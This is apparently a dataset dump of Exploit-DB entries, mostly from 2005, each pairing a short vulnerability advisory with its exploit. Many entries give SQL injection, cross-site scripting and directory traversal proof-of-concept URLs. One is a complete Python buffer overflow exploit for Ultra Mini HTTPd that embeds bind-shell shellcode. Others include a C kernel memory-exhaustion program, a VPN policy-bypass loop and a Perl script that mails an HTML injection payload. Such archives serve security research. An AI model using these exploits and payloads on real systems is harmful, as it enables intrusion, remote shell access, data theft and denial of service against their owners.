QLWD/code_shield huggingface dataset:
标题: Check Point VPN-1 SecureClient 4.0 < 4.1 - Policy Bypass EDB-ID: 26754 CVE: 2005-4093 类型: DOS 平台: HARDWARE 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15757/info

VPN-1 SecureClient is reported prone to a policy bypass vulnerability. This issue is due to a failure of the application to securely implement remote administrator-provided policies on affected computers.

This issue allows remote VPN users to bypass the administratively-defined security policies. Specific issues arising from this vulnerability depend on the intended policies defined by administrators. Some examples of the consequences are: unauthorized computers may connect, scripts may not execute, or insecure network configurations may be possible. 

:Loop
copy x.scv local.scv
goto Loop URL: https://www.exploit-db.com/exploits/26754
标题: Thwboard Beta 2.8 - 'misc.php?userid' SQL Injection EDB-ID: 26757 CVE: 2005-4139 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15763/info
  
ThWboard is prone to multiple input validation vulnerabilities.
  
The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.
  
A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.
  
Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/misc.php?action=getlastpost&userid='[SQL] URL: https://www.exploit-db.com/exploits/26757
标题: PluggedOut Blog 1.9.x - 'index.php' Multiple SQL Injections EDB-ID: 26750 CVE: 2005-4054 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15746/info

PluggedOut Blog is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?categoryid=[SQL]
http://www.example.com/index.php?entryid=[SQL]
http://www.example.com/index.php?month=1&year=[SQL]
http://www.example.com/index.php?month=[SQL]
http://www.example.com/index.php?year=2005&month=12&day=[SQL] URL: https://www.exploit-db.com/exploits/26750
标题: Linux Kernel 2.6.x - File Lock Lease Local Denial of Service EDB-ID: 26749 CVE: 2005-3807 类型: DOS 平台: LINUX 发布日期: 2005-12-29 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/15745/info

Linux kernel is susceptible to a local denial-of-service vulnerability.

This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code.

This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users.

Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue. 
*/


#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

} URL: https://www.exploit-db.com/exploits/26749
标题: Edgewall Software Trac 0.7.1/0.8/0.9 Search Module - SQL Injection EDB-ID: 26732 CVE: 2005-4065 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15720/info

Trac is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/trac/search?q=test\' URL: https://www.exploit-db.com/exploits/26732
标题: IISWorks ASPKnowledgeBase 2.0 - 'KB.asp' Cross-Site Scripting EDB-ID: 26743 CVE: 2005-4047 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15734/info

ASPKnowledgeBase is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 2.x and prior are vulnerable; other versions may also be affected. 

http://www.example.com/kb.asp?a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/kb.asp?ID=210&a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26743
标题: A-FAQ 1.0 - 'faqDspItem.asp?faqid' SQL Injection EDB-ID: 26746 CVE: 2005-4064 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15741/info

A-FAQ is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

A-FAQ 1.0 and earlier versions are vulnerable; other versions may also be affected. 

http://www.example.com/faqDspItem.asp?faqid=[SQL] URL: https://www.exploit-db.com/exploits/26746
标题: NetAuctionHelp 3.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26744 CVE: 2005-4063 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15737/info

NetAuctionHelp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 3.x and prior are vulnerable; other versions may also be affected.

http://www.example.com/search.asp?sort=ed&L=[XSS]
http://www.example.com/search.asp?sort=[XSS]
http://www.example.com/search.asp?sort=ed&L=1&category=[XSS]
http://www.example.com/search.asp?sort=ed&L=1&category=65&categoryname=[XSS] URL: https://www.exploit-db.com/exploits/26744
标题: Web4Future Portal Solutions - 'Arhiva.php' Directory Traversal EDB-ID: 26730 CVE: 2005-4039 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15718/info

Portal Solutions is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

This issue may be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences to disclose arbitrary files. 

http://www.example.com/arhiva.php?dir=../ URL: https://www.exploit-db.com/exploits/26730
标题: Blog System 1.2 - 'index.php?cat' SQL Injection EDB-ID: 26731 CVE: 2005-4049 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15719/info

Blog System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?mode=home&cat=-99[SQL CODE] URL: https://www.exploit-db.com/exploits/26731
标题: RWAuction Pro 4.0 - 'search.asp' Cross-Site Scripting EDB-ID: 26745 CVE: 2005-4060 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15740/info

The 'rwAuction Pro' application is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 4.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/search.asp?searchtxt=[XSS] URL: https://www.exploit-db.com/exploits/26745
标题: DuWare DuPortalPro 3.4.3 - 'Password.asp' Cross-Site Scripting EDB-ID: 26742 CVE: 2005-4166 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15731/info

DuPortalPro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/demos/DUportalPro34Demo/home/password.asp?result=[XSS] URL: https://www.exploit-db.com/exploits/26742
标题: Ultra Mini HTTPd 1.21 - Remote Stack Buffer Overflow EDB-ID: 26739 CVE: 2013-5019 类型: REMOTE 平台: WINDOWS 发布日期: 2013-07-11 漏洞利用脚本: # Exploit Title: Ultra Mini HTTPD stack buffer overflow
# Date: 10 July 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.picolix.jp/
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.21
# Tested on: Windows XP Professional SP2, English
#
# Description: 
# A buffer overflow is triggered when requesting a very long 
# resource name. 
#

import socket
import struct

# msfpayload windows/shell_bind_tcp R | \
#     msfencode -b "\x00\x0a\x0d\x20\x0b\x09\x0c"
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ( 
"\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06"
)

# 7C941EED  , JMP ESP , ntdll.dll
payload =  "A" * 5392 + struct.pack("<I", 0x7C941EED)
payload += "\x81\xc4\xf0\xea\xff\xff" + shellcode + "B" * 4230

print "[+] sending payload, length", len(payload)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.37.175", 80))

buf = (
 "GET /" + payload + " HTTP/1.1\r\n" + 
 "Host: 192.168.37.175" + 
 "\r\n\r\n"
)

s.send(buf)
s.close() URL: https://www.exploit-db.com/exploits/26739
标题: Horde IMP 2.2.x/3.2.x/4.0.x - Email Attachments HTML Injection EDB-ID: 26741 CVE: 2005-4080 类型: REMOTE 平台: LINUX 发布日期: 2005-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/15730/info

Horde IMP is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Reports indicate this issue is only present when viewing IMP content with the Microsoft Internet Explorer Web browser. 

#
# MIME::Liet SMTP client by C3PO
#
   use strict;
   use MIME::Base64;
   use MIME::Lite;
#----------------------------------------------------
#                    load_file
#----------------------------------------------------
   sub load_file{
      my($file) = shift;
      my($Body);
      open(IN, $file) || die("Can't open $file $!");
      binmode IN;
      read(IN, $Body, -s $file);
      close(IN);
      return $Body;
  }
#----------------------------------------------------
#                      main
#----------------------------------------------------
   my $c = load_file('\Xploits\horder\passed.htm'); #content
   my $m = MIME::Lite->new(
                 From    =>'mail@domain.zone',
                 To      =>'mail@domain.zone',
                 Subject =>'Horde',
                 Date    =>"Tue, 17 Dec 2002 22:00:02 +0300",
                 Type    =>"text/html",
                 Data    => $c,
                 Filename=>"horde.html",
                 Encoding =>'base64'
                 );
  $m->attr('content-type.charset' => 'windows-1251'); #not necessary
  $m->send("smtp","smtp.domain.zone"); URL: https://www.exploit-db.com/exploits/26741
标题: Web4Future eDating Professional 5.0 - 'index.php' Multiple SQL Injections EDB-ID: 26724 CVE: 2005-4034 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15715/info

eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/index.php?afis=browse&s=[SQL]

http://www.example.com/index.php?afis=profil&pg=[SQL]

http://www.example.com/index.php?afis=SelCupidonNoLog&sortb=[SQL] URL: https://www.exploit-db.com/exploits/26724
标题: Web4Future Affiliate Manager PRO 4.1 - 'functions.php' SQL Injection EDB-ID: 26729 CVE: 2005-4037 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15717/info

Affiliate Manager PRO is prone to an SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/functions.php?action=ViewPaymentLog&pid=[SQL] URL: https://www.exploit-db.com/exploits/26729
标题: Web4Future eDating Professional 5.0 - 'fq.php?cid' SQL Injection EDB-ID: 26727 CVE: 2005-4034 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15715/info
   
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/fq.php?A=ViewFQ&cid=1[SQL] URL: https://www.exploit-db.com/exploits/26727
标题: Web4Future eDating Professional 5.0 - 'articles.php?cat' SQL Injection EDB-ID: 26726 CVE: 2005-4034 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15715/info
  
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Versions 5 and prior are vulnerable; other versions may also be affected.

http://www.example.com/articles.php?cat=1[SQL]

http://www.example.com/articles.php?A=ViewArticles&cat=1[SQL] URL: https://www.exploit-db.com/exploits/26726
标题: Web4Future eCommerce Enterprise Edition 2.1 - 'view.php' Multiple SQL Injections EDB-ID: 26717 CVE: 2005-4035 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15707/info

eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/view.php?prod=[SQL] URL: https://www.exploit-db.com/exploits/26717
标题: Hobosworld HobSR - Multiple SQL Injections EDB-ID: 26722 CVE: 2005-4043 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15713/info

Hobosworld HobSR is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/view.php?arrange=[SQL]
http://www.example.com/view.php?p=[SQL] URL: https://www.exploit-db.com/exploits/26722
标题: Web4Future eCommerce Enterprise Edition 2.1 - 'index.php' Multiple SQL Injections EDB-ID: 26718 CVE: 2005-4035 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15707/info
 
eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/index.php?action=ViewGroups&grp=[SQL]
http://www.example.com/index.php?action=ViewCategories&cat=[SQL] URL: https://www.exploit-db.com/exploits/26718
标题: 1-Script 1-Search 1.8 - '1search.CGI' Cross-Site Scripting EDB-ID: 26721 CVE: 2005-4091 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15712/info

1-Search is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 1.80 and prior are affected; other versions may also be vulnerable. 

http://www.example.com/1search.cgi?q=[XSS]&boolean=ALL&case=Insensitive URL: https://www.exploit-db.com/exploits/26721
标题: Web4Future eCommerce Enterprise Edition 2.1 - 'viewbrands.php?bid' SQL Injection EDB-ID: 26719 CVE: 2005-4035 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15707/info
  
eCommerce Enterprise Edition is prone to multiple SQL injection vulnerabilities.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. 

http://www.example.com/viewbrands.php?bid=[SQL] URL: https://www.exploit-db.com/exploits/26719
标题: Easy Search System 1.1 - 'search.cgi' Cross-Site Scripting EDB-ID: 26716 CVE: 2005-4032 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15705/info

Easy Search System is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.cgi?q=[XSS] URL: https://www.exploit-db.com/exploits/26716
标题: SAMEDIA LandShop 0.6.3 - 'ls.php' Multiple SQL Injections EDB-ID: 26720 CVE: 2005-4018 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15709/info

Landshop is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ls.php?lang=en&action=list&start=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=&infield=&search_order=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=[SQL]
http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=[SQL] URL: https://www.exploit-db.com/exploits/26720
标题: Web4Future eDating Professional 5.0 - 'gift.php?cid' SQL Injection EDB-ID: 26725 CVE: 2005-4034 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/15715/info
 
eDating Professional is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 5 and prior are vulnerable; other versions may also be affected.


http://www.example.com/gift.php?A=ViewGifts&cid=[SQL] URL: https://www.exploit-db.com/exploits/26725